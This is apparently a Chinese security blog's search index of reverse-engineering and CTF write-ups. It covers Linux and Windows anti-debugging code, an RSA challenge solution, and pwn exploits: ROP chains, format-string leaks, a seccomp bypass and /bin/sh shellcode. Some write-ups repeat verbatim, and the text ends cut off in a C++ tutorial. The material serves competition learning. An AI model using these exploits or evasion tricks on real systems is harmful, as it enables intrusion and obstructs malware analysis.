detected.\\n"); } else { printf("Debugging detected!\\n"); exit(0); }}int main(int argc, char *argv[]) { if (argc < 1) { fprintf(stderr, "Error: Invalid arguments\\n"); exit(0); } // 检测是否被调试 is_debugging(argv[0]); return 0;}\n\n信号处理只能检测到gdb\n#include <stdio.h>#include <signal.h>#include <stdlib.h>#include <unistd.h>#include <sys/ptrace.h>// 信号处理函数void handle_signal(int sig) { if (sig == SIGTRAP) { printf("Debugger detected via SIGTRAP!\\n"); exit(1); // 退出程序 } else { printf("Received signal: %d\\n", sig); }}int main() { // 设置信号处理函数 signal(SIGTRAP, handle_signal); // 使用 ptrace 检测调试器 if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) { printf("Debugger detected via ptrace!\\n"); exit(1); } // 触发 SIGTRAP 信号 raise(SIGTRAP); printf("No debugger detected\\n"); return 0;}\n\n使用fork和exec仅适用于gdb\n#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/wait.h>#include <sys/ptrace.h>void anti_debug() { pid_t pid = fork(); if (pid == -1) { // fork失败 perror("fork failed"); exit(1); } if (pid == 0) { // 子进程尝试调用ptrace,检查是否被调试 if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) { // 调试器检测 printf("Debugger detected!\\n"); exit(1); } // 使用exec执行目标程序 execl("/bin/ls", "ls", NULL); // 目标程序可以替换成实际应用程序 } else { // 父进程等待子进程 int status; waitpid(pid, &status, 0); if (WIFEXITED(status) && WEXITSTATUS(status) == 1) { // 子进程检测到调试器 printf("Debugging detected by child process!\\n"); exit(1); } else { // 子进程没有检测到调试器 printf("No debugger detected.\\n"); } }}int main() { anti_debug(); return 0;}\n\n检测堆的相对位置仅适用于gdb\n#define _DEFAULT_SOURCE#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#define RESULT_YES 1#define RESULT_NO 0static int detect(void){ // 使用静态变量来探测堆的位置 static unsigned char bss; unsigned char *probe = malloc(0x10); // 在堆上分配内存 // 检查堆的位置相对于 BSS 段 if (probe - &bss < 0x20000) { // 堆相对于 BSS 段的位置过近,可能被调试器干扰 free(probe); // 释放分配的内存 return RESULT_YES; } else { free(probe); // 释放分配的内存 return RESULT_NO; }}static int cleanup(void){ // 不需要进行任何清理 return 0;}int main(void) { // 调测检测 if (detect() == RESULT_YES) { printf("Debugger detected: Heap is too close to BSS.\\n"); exit(EXIT_FAILURE); } printf("No debugger detected.\\n"); return 0;}\n\n\n\n检测ASLR是否启用仅适用于gdb\n\n\n检测vdso仅适用于gdb\n#define _DEFAULT_SOURCE#include <stdio.h>#include <stdlib.h>#include <sys/auxv.h>#include <string.h>#include <unistd.h>#define RESULT_YES 1#define RESULT_NO 0#define RESULT_UNK -1static int is_aslr_enabled(void) { // 检查 ASLR 是否启用 return (getauxval(AT_RANDOM) != 0) ? RESULT_YES : RESULT_NO;}static int check_vdso(void) { unsigned long tos; unsigned long vdso = getauxval(AT_SYSINFO_EHDR); // 检查 VDSO if (!vdso) { return RESULT_UNK; // VDSO 不可用 } if (is_aslr_enabled() == RESULT_NO) { return RESULT_UNK; // ASLR 不可用 } // 检查堆栈顶地址是否高于 VDSO if ((unsigned long)&tos > vdso) { return RESULT_YES; // VDSO 被篡改或调试 } return RESULT_NO; // 正常状态}int main(void) { if (check_vdso() == RESULT_YES) { printf("Debugger detected: VDSO is compromised or debugging is present.\\n"); exit(EXIT_FAILURE); } printf("No debugger detected.\\n"); return 0;}\n\n后言\n参考链接:kirschju/debugmenot: Collection of simple anti-debugging tricks for Linux (github.com)参考链接:\n\n","categories":["reverse"],"tags":["反调试"]},{"title":"花指令分析","url":"/2024/10/24/rev/flower-code/","content":"","categories":["reverse"],"tags":["混淆"]},{"title":"RC4加密算法逆向分析","url":"/2024/10/24/rev/rc4/","content":"","categories":["reverse"],"tags":["加密算法"]},{"title":"逆向中常用的Python库","url":"/2024/10/24/rev/re-lib/","content":"","categories":["reverse"]},{"title":"RSA加密算法分析","url":"/2024/11/03/rev/rsa/","content":"简介RSA加密算法属于公钥加密算法或非对称加密算法,是目前使用最广泛的公钥密码算法之一,以其高安全性而著称。\n算法原理RSA加密算法原理包括密钥生成、加密和解密三个主要步骤。\n密钥生成\n选择两个大质数:$p$ 和 $q$。\n计算模数:$n=p×q$。$n$用于加密和解密\n计算欧拉函数:计算$ϕ(n)=(p−1)×(q−1)\\phi(n) = (p-1) \\times (q-1)ϕ(n)=(p−1)×(q−1)$。\n选择公钥指数:选择一个整数e,使得$1<e<ϕ(n)1 < e < \\phi(n)1<e<ϕ(n)$ 且与$ϕ(n)\\phi(n)ϕ(n)$互质,通常选择 $e=65537$。\n计算私钥指数:计算$d$,使得 $d×emodϕ(n)=1$,可以通过扩展欧几里得算法计算出 $d$。\n\n最终结果,公钥为$(n,e)$,私钥为$(n,d)$。\n加密给定明文 $m$(确保 $m<n$),加密过程如下:$$c=m^e mod*n$$\n其中 $c$ 为密文。\n解密给定密文C,解密过程如下:\n$$m=c^d mod n$$\n例题\nBUUCTF rsa\n\n下载附件,拿到两个文件:flag.enc、pub.key。\n看名称就知道flag.enc应该是加密的flag,pub.key应该是密钥。\n拿到公钥我们通过在线工具(密钥解析)解析分解公钥拿到以下信息。\n公钥指数及模数信息:\n\n\n\n\n\n\n\n\nkey长度:\n256\n\n\n模数:\nC0332C5C64AE47182F6C1C876D42336910545A58F7EEFEFC0BCAAF5AF341CCDD\n\n\n指数:\n65537 (0x10001)\n\n\n即e=65537,n(将模数转换为十进制)\n通过工具yafu分解模数来得到p和q。\nimport gmpy2import rsa#公钥指数e=65537#RSA模数,是两个指数p和q的乘积n=86934482296048119190666062003494800588905656017203025617216654058378322103517#p和q是RSA的两个质数因子p=285960468890451637935629440372639283459q=304008741604601924494328155975272418463#计算phin,phin是n的欧拉函数值phin=(q-1)*(p-1)#计算私钥指数dd=gmpy2.invert(e,phin)#使用计算出的值创建RSA私钥对象key=rsa.PrivateKey(n,e,int(d),p,q)with open("./flag.enc","rb+") as f: f=f.read()flag=rsa.decrypt(f,key)print(flag)\n","categories":["reverse"],"tags":["加密算法"]},{"title":"SMC","url":"/2024/10/24/rev/smc/","content":"","categories":["reverse"],"tags":["混淆"]},{"title":"TEA系加密算法分析","url":"/2024/10/25/rev/tea/","content":"TEAXTEAXXTEA","categories":["reverse"],"tags":["加密算法"]},{"title":"Windows反调试","url":"/2024/10/25/rev/windows-anti-debug/","content":"反调试技术,恶意代码用它识别是否被调试,或者让调试器失效。恶意代码编写者意识到分析人员经常使用调试器来观察恶意diamond的操作,因此他们使用反调试技术尽可能地延长恶意代码的分析时间。为了阻止调试器的分析,当恶意代码意识到自己被调试时,他们可能改变正常的执行路径或者自身程序让自己崩溃,从而增加调试时间和复杂度。很多种反调试技术可以达到反调试效果。\n使用Windows API使用Windows API函数检测调试器是否存在是最简单的反调试技术。Windows操作系统中提供了这样一些API,应用程序可以通过调用这些API,来检测自己是否正在被调试。这些API中有些是专门用来检测调试器的存在的,而另外一些API是出于其他目的而设计的,但也可以被改造用来探测调试器的存在。其中很小部分API函数没有在微软官方文档显示。通常,防止恶意代码使用API进行反调试的最简单的办法是在恶意代码运行期间修改恶意代码,使其不能调用探测调试器的API函数,或者修改这些API函数的返回值,确保恶意代码执行合适的路径。与这些方法相比,较复杂的做法是挂钩这些函数,如使用rootkit技术。\nIsDebuggerPresentIsDebuggerPresent查询进程环境块(PEB)中的IsDebugged标志。如果进程没有运行在调试器环境中,函数返回0;如果调试附加了进程,函数返回一个非零值。\n函数原型\nBOOL WINAPI IsDebuggerPresent(VOID){    return NtCurrentPeb() -> BeingDebugged;}\n\n实例程序\n#include<stdio.h>#include<windows.h>BOOL CheckDebugger(){\treturn IsDebuggerPresent();}int main(int argc,char *argv[]){\tif(CheckDebugger()){\t\tprintf("进程正在被调试\\n");\t\t\t\t}\telse{\t\tprintf("进程没有被调试\\n");\t}\tsystem("pause");\treturn 0;}\n\n如何过掉通过IDA动态调试修改寄存器标志,亦或者直接patch到文件修改代码使其不能调用反调试函数,或者修改这些API函数的返回值\nCheckRemoteDebuggerPresentCheckRemoteDebuggerPresent同IsDebuggerPresent几乎一致。它不仅可以探测系统其他进程是否被调试,通过传递自身进程句柄还可以探测自身是否被调试。\nBOOL CheckRemoteDebuggerPresent{    HANDLE hProcess,    PBOOL pbDebuggerPresent};\n\nNtQueryInformationProcess这个函数是Ntdll.dll中一个API,它用来提取一个给定进程的信息。它的第一个参数是进程句柄,第二个参数告诉我们它需要提取进程信息的类型。为第二个参数指定特定值并调用该函数,相关信息就会设置到第三个参数。第二个参数是一个枚举类型,其中与反调试有关的成员有ProcessDebugPort(0x7)、ProcessDebugObjectHandle(0x1E)和ProcessDebugFlags(0x1F)。例如将该参数置为ProcessDebugPort,如果进程正在被调试,则返回调试端口,否则返回0。\nBOOL CheckDebug()  {      int debugPort = 0;      HMODULE hModule = LoadLibrary("Ntdll.dll");      NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule,"NtQueryInformationProcess");      NtQueryInformationProcess(GetCurrentProcess(), 0x7, &debugPort,sizeof(debugPort), NULL);      return debugPort != 0;  }  BOOL CheckDebug()  {      HANDLE hdebugObject = NULL;      HMODULE hModule = LoadLibrary("Ntdll.dll");      NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule,"NtQueryInformationProcess");      NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &hdebugObject, sizeof(hdebugObject), NULL);      return hdebugObject != NULL;  }  BOOL CheckDebug()  {      BOOL bdebugFlag = TRUE;      HMODULE hModule = LoadLibrary("Ntdll.dll");      NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, "NtQueryInformationProcess");      NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &bdebugFlag, sizeof(bdebugFlag), NULL);      return bdebugFlag != TRUE;  }\n\nOutputDebugString基于PEB的静态反调试利用PEB结构体信息可以判断当前进行是否处于被调试状态。很多常见的反调试都是用这个来判断的,比如IsDebuggerPresent()等,那么PEB是什么呢?Process Environment Block(进程环境块),是存放进程信息的一个结构体。\n+0x000 InheritedAddressSpace : UChar+0x001 ReadImageFileExecOptions : UChar+0x002 BeingDebugged : UChar 调试标志+0x003 SpareBool : UChar+0x004 Mutant : Ptr32 Void+0x008 ImageBaseAddress : Ptr32 Void 映像基址+0x00c Ldr : Ptr32 _PEB_LDR_DATA 进程加载模块链表+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS+0x014 SubSystemData : Ptr32 Void+0x018 ProcessHeap : Ptr32 Void+0x01c FastPebLock : Ptr32 _RTL_CRITICAL_SECTION+0x020 FastPebLockRoutine : Ptr32 Void+0x024 FastPebUnlockRoutine : Ptr32 Void+0x028 EnvironmentUpdateCount : Uint4B+0x02c KernelCallbackTable : Ptr32 Void+0x030 SystemReserved : [1] Uint4B+0x034 AtlThunkSListPtr32 : Uint4B+0x038 FreeList : Ptr32 _PEB_FREE_BLOCK+0x03c TlsExpansionCounter : Uint4B\n\n BeingDebugged成员是一个标志(flag),用来表示进行是否处于被调试状态。Ldr、ProcessHeap、NtGlobalFlag成员与被调试进程的堆内存特性相关。\nTEB(线程环境块)结构体也是必须指定的,该结构体包含进程中运行线程的各种信息,进程中的每个线程都对应着一个TEB结构体。完整的TEB结构体定义在TEB.txt中。\n+0x000 NtTib : _NT_TIB+0x01c EnvironmentPointer : Ptr32 Void+0x020 ClientId : _CLIENT_ID :当前进程ID+0x028 ActiveRpcHandle : Ptr32 Void+0x02c ThreadLocalStoragePointer : Ptr32 Void+0x030 ProcessEnvironmentBlock : Ptr32 _PEB 当前进程的PEB指针+0x034 LastErrorValue : Uint4B+0x038 CountOfOwnedCriticalSections : Uint4B\n\n\n\n\nProcess Heap\nNtGlobalFlag\n\nTLS回调\n参考链接:Windows平台常见反调试技术梳理(上)-安全客 - 安全资讯平台 (anquanke.com) 参考链接:[原创]反调试技术总结-软件逆向-看雪-安全社区|安全招聘|kanxue.com 参考链接:【CTF-Reverse】IDA动态调试,反调试技术_ida 动态调试-CSDN博客\n\n","categories":["reverse"],"tags":["反调试"]},{"title":"upx脱壳","url":"/2024/10/24/rev/upx/","content":"","categories":["reverse"]},{"title":"z3","url":"/2024/10/24/rev/z3/","content":"","categories":["reverse"]},{"title":"2024Newstar","url":"/2024/10/25/wp/new/","content":"pwnweek1giaopwn64位无脑栈溢出,通过vuln中的read函数像buf中写入大量数据,超出buf变量的长度导致rbp和返回地址被覆盖。\n通过栈溢出漏洞劫持执行流,通过pop_rdi将cat flag字符串弹入rdi寄存器作为system参数,然后返回执行system函数。\n加的ret指令是为了栈平衡。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()pop_rdi=0x0000000000400743ret=0x00000000004004fesystem=0x4006D2cat_flag=0x601048payload=b'\\x00'*40+p64(pop_rdi)+p64(cat_flag)+p64(ret)+p64(system)s(payload)ia()\n\n\nezstackmain函数会返回到stack函数执行,stack函数中存在栈溢出。\n发现vuln中存在system函数,并且将输入的内容作为system函数的参数执行。\n但是对输入的内容做了过滤,如果内容中包含s、h、c、f 等字符则报错返回。\n所以我们要拿到shell,必须输入一个不被过滤的字符。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=56#ret用于平栈ret=0x000000000040101apayload=b'\\x00'*off+p64(ret)+p64(elf.sym.vuln)sl(payload)#$0也可以获取shellsla("command\\n",b"$0")ia()\n\nezorw沙箱题\n禁止了read、write、open、readv、writev、execveat等系统调用。\n常规的orw并不奏效,但是我们可以通过openat和sendfile来读取flag\n line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013 0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013 0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013 0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013 0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013 0010: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0013 0011: 0x15 0x01 0x00 0x0000024f if (A == 0x24f) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elf#通过openat系统调用打开flag文件,返回描述符3#通过sendfile系统调用将文件描述符3对应的文件内容从偏移0开始发送到文件描述符1shellcode=asm(shellcraft.openat(0,'/flag')+shellcraft.sendfile(1,3,0,0x100))payload=asm(shellcode)r()sl(payload)ia()\n\nezfmtexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc-2.31.so")vuln=0x40120Dpayload=b"%13$p%15$p".ljust(0x28,b"a")+p64(vuln)s(payload)ru("welcome to YLCTF\\n")base=int(r(14),16)stack=int(r(14),16)print("base:",hex(base))print("stack:",hex(stack))base=base-0x024083stack=stack-0x000120 print(hex(base))print(hex(stack))pop_rdi=0x4012b3system=base+libc.sym.systemsh=base+next(libc.search(b"/bin/sh\\x00"))leave_ret=0x401241payload=p64(pop_rdi)+p64(sh)+p64(system)+p64(0)+p64(stack)+p64(leave_ret)s(payload)ia()\n\n\n\nweek2week3reweek1week2week3","categories":["wp"],"tags":["赛后复现"]},{"title":"2024moectf","url":"/2024/10/25/wp/moe/","content":"pwnNotEnoughTime本题考察 Pwntools 基本⽤法,虽然是简单的计算加减乘除,但是在输出算式时刻意添加延迟营造⽹络卡顿环境,并且算式存在多⾏情况,意在引导使⽤ recvuntil 。注意在使⽤Python eval 前需要去除多⾏算式中的\\n以及末尾的=以符合 Python 语法。除法是整数除法,在 Python 语法中为 // 。⽐赛期间注意到很多选⼿把除法看作浮点数运算,由s此触发了许多奇怪的 bug(出题时并没有考虑到会有浮点数输⼊的情况)。于是临时新增了⼀个提⽰。\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.iosla(b"=",b"2")sla(b"=",b"0")ru(b"!")for _ in range(20): sl( str( eval( ru(b"=") .replace(b"\\n",b"") .replace(b"=",b"") .replace(b"/",b"//") .decode() ) ).encode() )ia()\n\nno_more_gets\n\nleak_sthez_shellcode#! /usr/bin/env python3from pwn import *context(log_level='debug', arch='amd64', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70'])file_name = './pwn'# io = process(file_name)io = remote('127.0.0.1', 54533)# gdb.attach(io)sh = asm(shellcraft.sh())io.recvuntil('age:\\n')io.sendline(b'200')io.recvuntil('you :\\n')gift = io.recvuntil('\\n')gift = eval(gift.decode())# 通过nop对齐把shellcode弄到栈内,并且gift进行栈溢出,0x101a是gadget retow = sh.ljust(0x60 + 0x8, b'\\x90') + p64(gift) + p64(0x101a)io.sendline(ow)io.interactive()\n\n这是什么?libc!程序本⾝没有pop rdi等⽤于传递参数的 gadget,也没有可以 getshell 的函数( system 、 execve 等)需要从 libc 中获取。⼀般 glibc 中会有/bin/sh字符串和system函数,找到它们的偏移量,再通过给出的 puts 地址减去 puts 在 libc 中偏移量计算 libc基址,配合 libc 中的 x86_64 传参 gadget( pop rdi …)就能 getshell 了。此时再次遇到栈指针 16 字节对⻬问题,通过在 ROP 链中添加空 gadget(仅 ret )将栈指针移动 8 字节解决。\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc.so.6")ru(b"0x")libc.address=int(r(12),16)-libc.sym.putspayload=cyclic(9)+flat([libc.search(asm("pop rdi;ret;")).__next__()+1, libc.search(asm("pop rdi;ret;")).__next__(), libc.search(b"/bin/sh\\x00").__next__(), libc.sym.system, ])sa(b">",payload)ia()\n\n这是什么?shellcode这是什么?random#! /usr/bin/env python3from pwn import *context(log_level='debug', arch='amd64', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70'])file_name = './prerandom'elf = ELF(file_name)libc = ELF('./libc.so.6')# io = process(file_name)io = remote('127.0.0.1', 30991)rands = [94628, 29212, 40340, 61479, 52327, 69717, 13474, 57303, 18980, 86711, 33971, 90017, 48999, 57470, 76676, 92638, 37434, 77014, 78089, 95060]for i in rands: io.recvuntil(b'> ') io.sendline(str(i).encode())io.interactive()\n\nflag_helper这是什么?GOT!程序直接将输入写入got表,我们通过将exit函数的got表修改为bookdoor。\n来获取shell,但是我们不能覆盖system的got表,但是system函数还未进行调用,即\n未进行重定位,我们通过gdb查看system的got表的内存值,然后将其覆盖。\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()unreach=0x401196system=0x401056#system=elf.got.systems(cyclic(0x10) + p64(system) + cyclic(0x20) + p64(unreach))ia()\n\nNX_on!这是什么?32-bit!#! /usr/bin/env python3from pwn import *context(log_level='debug', arch='i386', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70'])file_name = './backdoor'elf = ELF(file_name)libc = ELF('./libc.so.6')# io = process(file_name)io = remote('127.0.0.1', 25186)# gdb.attach(io)io.send(b'\\n')io.recvuntil(b'word: ')# exceve("/bin/sh", NULL, NULL);io.sendline(cyclic(0x28+0x4) + p32(0x8049212) + p32(0x0804A011) + p32(0)*2)io.interactive()\n\nMoeplaneLoginSystemCatch_the_canary!shellcode_revengePwn_it_off!return 15#srop\n\n\nVisibleInputSystem_not_found!Read_once_twice!Where is fmt?Got it!栈的奇妙之旅One Chance!GoldenwingluoshreXorupxdynamicupx-revengextead0tN3trc4xxteaTEA逆向工程进阶之北moedailymoejvavsm4ezMAZEJust-Run-ItSecretModuleCython-Strike: Bomb DefusionSMCProMaxezMAZE-彩蛋xor(大嘘)babe-z3BlackHolemoeprotector特工luo: 闻风而动特工luo: 深入敌营","categories":["wp"],"tags":["赛后复现"]},{"title":"2024春秋杯夏季赛","url":"/2024/10/25/wp/chun/","content":"pwnresnackHardSigninBEDTEA","categories":["wp"],"tags":["赛后复现"]},{"title":"Reverse.Kr","url":"/2024/10/25/wp/reverse-kr/","content":"Easy Crack运行程序随意输入信息\n返回错误\n根据错误信息字符串定位内部输入判断的位置\n发现判断条件\n动态调试\n使输入满足判断条件\nEasy Keygen文档给出了序列号,分析它所对应的名称\n逆向分析代码逻辑发现,输入的名称会经过加密算法生成序列号\n我们需要根据序列号逆向算法得出名称\n分析加密算法发现,它将输入的名称与一个char数组进行异或,并输出异或结果的十六进制为序列号\n异或数组产生溢出,值分别为0x10,0x20,0x30\n将序列号进行异或并转换为字符得出名称\n5B 13 49 77 13 5E 7D 1310 20 30 10 20 30 10 20K 3 y g 3 n m 3\n","categories":["wp"]},{"title":"2024源鲁杯","url":"/2024/10/25/wp/yl/","content":"pwnweek1giaopwn64位无脑栈溢出,通过vuln中的read函数像buf中写入大量数据,超出buf变量的长度导致rbp和返回地址被覆盖。\n通过栈溢出漏洞劫持执行流,通过pop_rdi将cat flag字符串弹入rdi寄存器作为system参数,然后返回执行system函数。\n加的ret指令是为了栈平衡。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()pop_rdi=0x0000000000400743ret=0x00000000004004fesystem=0x4006D2cat_flag=0x601048payload=b'\\x00'*40+p64(pop_rdi)+p64(cat_flag)+p64(ret)+p64(system)s(payload)ia()\n\n\nezstackmain函数会返回到stack函数执行,stack函数中存在栈溢出。\n发现vuln中存在system函数,并且将输入的内容作为system函数的参数执行。\n但是对输入的内容做了过滤,如果内容中包含s、h、c、f 等字符则报错返回。\n所以我们要拿到shell,必须输入一个不被过滤的字符。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=56#ret用于平栈ret=0x000000000040101apayload=b'\\x00'*off+p64(ret)+p64(elf.sym.vuln)sl(payload)#$0也可以获取shellsla("command\\n",b"$0")ia()\n\nezorw沙箱题\n禁止了read、write、open、readv、writev、execveat等系统调用。\n常规的orw并不奏效,但是我们可以通过openat和sendfile来读取flag\n line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013 0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013 0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013 0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013 0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013 0010: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0013 0011: 0x15 0x01 0x00 0x0000024f if (A == 0x24f) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elf#通过openat系统调用打开flag文件,返回描述符3#通过sendfile系统调用将文件描述符3对应的文件内容从偏移0开始发送到文件描述符1shellcode=asm(shellcraft.openat(0,'/flag')+shellcraft.sendfile(1,3,0,0x100))payload=asm(shellcode)r()sl(payload)ia()\n\nezfmtexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc-2.31.so")vuln=0x40120Dpayload=b"%13$p%15$p".ljust(0x28,b"a")+p64(vuln)s(payload)ru("welcome to YLCTF\\n")base=int(r(14),16)stack=int(r(14),16)print("base:",hex(base))print("stack:",hex(stack))base=base-0x024083stack=stack-0x000120 print(hex(base))print(hex(stack))pop_rdi=0x4012b3system=base+libc.sym.systemsh=base+next(libc.search(b"/bin/sh\\x00"))leave_ret=0x401241payload=p64(pop_rdi)+p64(sh)+p64(system)+p64(0)+p64(stack)+p64(leave_ret)s(payload)ia()\n\n\n\nweek2week3reweek1week2week3","categories":["wp"],"tags":["赛后复现"]},{"title":"pwnable.tw","url":"/2024/10/25/wp/pwnable-tw/","content":"start\n查保护\n\n没有任何保护\nArch: i386-32-littleRELRO: No RELROStack: No canary foundNX: NX disabledPIE: No PIE (0x8048000)\n\n\n分析程序\n\n保存现场.text:08048060 push esp.text:08048061 push offset _exit清空寄存器.text:08048066 xor eax, eax.text:08048068 xor ebx, ebx.text:0804806A xor ecx, ecx.text:0804806C xor edx, edx参数压栈.text:0804806E push 3A465443h.text:08048073 push 20656874h.text:08048078 push 20747261h.text:0804807D push 74732073h.text:08048082 push 2774654Ch系统调用write,将字符串输出.text:08048087 mov ecx, esp ; addr.text:08048089 mov dl, 14h ; len.text:0804808B mov bl, 1 ; fd.text:0804808D mov al, 4.text:0804808F int 80h ; LINUX - sys_write系统调用read,读取.text:08048091 xor ebx, ebx.text:08048093 mov dl, 3Ch ;.text:08048095 mov al, 3.text:08048097 int 80h ; LINUX -返回exit函数.text:08048099 add esp, 14h.text:0804809C retnexit函数.text:0804809D pop esp.text:0804809E xor eax, eax.text:080480A0 inc eax.text:080480A1 int 80h ; LINUX - sys_exit\n\n\n利用思路\n\n利用的关键就在于如何泄露栈帧\n而泄露栈帧的关键就在于这个汇编指令\n.text:08048087 mov ecx, esp ; addr\n\n通过将esp的值复制到ecx,然后调用write系统调用将值进行输出即可泄露栈帧。\n\n构造exp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfshellcode = b'\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80'print(len(shellcode))buf_addr=0x8048087off=20def leak(): r() payload=b'a'*off+p32(buf_addr) s(payload) k=r(4) return u32(k)def get_pwn(addr): payload=b'a'*off+p32(addr+off)+shellcode s(payload) ia()buf_sta=leak()print("buf stack address is:",buf_sta)get_pwn(buf_sta)\n","categories":["wp"],"tags":["pwn"]},{"title":"C++ chapter2 变量和基本类型","url":"/2024/10/24/program/cpp/cpp-2/","content":"基本内置类型C++定义了一组表示整数、浮点数、单个字符和布尔值的算术类型(arithmetic type),另外还定义了一种称为void的特殊类型。void类型没有对应的值,仅用于在有限的一些情况下,通常用作无返回值函数的返回类型。\n\n\n\n类型\n含义\n最小存储空间\n\n\n\nbool\n布尔型\n—\n\n\nchar\n字符串型\n8位\n\n\nwchar_t\n宽字符型\n16位\n\n\nshort\n短整型\n16位\n\n\nint\n整型\n16位\n\n\nlong\n长整型\n32位\n\n\nfloat\n单精度浮点数\n6位有效数字\n\n\ndouble\n双精度浮点数\n10位有效数字\n\n\nlong double\n扩展精度浮点数\n10位有效数字\n\n\n\n因为位数的不同,这些类型所能表示的最大(最小)值也因机器的不同而有所不同。\n\n整型表示整数,字符和布尔值的算术类型合称为整型(integral type)\n字符类型有两种:char和wchar_t。char类型保证了有足够的空间,能够存储机器基本字符集中任何字符的相应的数值,因此char类型通常是单个机器字节(byte)。wchar_t类型用于扩展字符集,比如汉字和日语。\nbool类型表示真值true和false。可以将算术类型的任何值赋给bool对象。0值算术类型代表false,任何非0的值都代表true。\n1.带符号和无符号类型\n除bool类型外,整型可以是带符号的(signed) ,也可以是无符号的(unsigned) 。顾名思义,带符号类型可以表示整数也可以表示负数(包括0),而无符号类型只能表示大于或等于0的数。\n2.整型值的表示\n无符号型中,所以的位都表示数值。如果在某种机器中,定义一种类型使用8位表示,那么这种类型的unsigned型可以取值0到255。\nC++标准并未定义signed类型如何用位来表示,而是由每个编译器自由决定如何表示signed类型。这些表示方式会影响signed类型的取值范围。8位signed整型取值是从-128到127.\n3.整型的赋值对象的类型决定对象的取值。\n当将超过取值范围的值赋给signed类型时,由编译器决定实际赋的值。在实际操作中,很多的编译器处理signed的方式和unsigned类型类似。也就是说,赋值时是取该值对该类型取值数目求模后的值。\n\n注意:C++中,把负值赋给unsigned对象是完全合法的,其结果是该负数对该类型的取值个数求模后的值。所以,如果把-1赋给8位的unsigned char,那么结果是255,因为255是-1对256求模后的值。\n\n浮点型类型float、double和long double分别表示单精度浮点数、双精度浮点数和扩展精度浮点数。一般float类型用一个字(32位)表示,double类型用两个字(64位)来表示,long double类型用三个或四个字(96或128位)来表示。类型的取值范围决定了浮点数所含的有效数字位数。\n\n注意:对于实际的程序来说,float类型精度通常是不够的——float型只能保证6位有效数字,而double型可以保证10位有效数字,能满足大多数计算的需要。\n\n字面值常量像 42 这样的值,在程序中被当作字面值常量。称之为字面值是因为只能用它的值称呼它,称之为常量是因为它的值不能修改。每个字面值都有相应的类型。只有内置类型存在字面值,没有类类型的字面值。因此,也没有任何标准库类型的字面值。\n1.整型字面值规则\n 定义字面值整数常量可以使用以下三种进制中的任一种:十进制、八进制和十六进制。当然这些进制不会改变其二进制位的表示形式。\n200240x14\n\n字面值整数常量的类型默认为int和long类型。其精度类型决定于字面值——其值适合int就是int类型,比int大的值就是long类型。通过增加后缀,能够强制将字面值整数常量转换为long、unsigned或unsigned 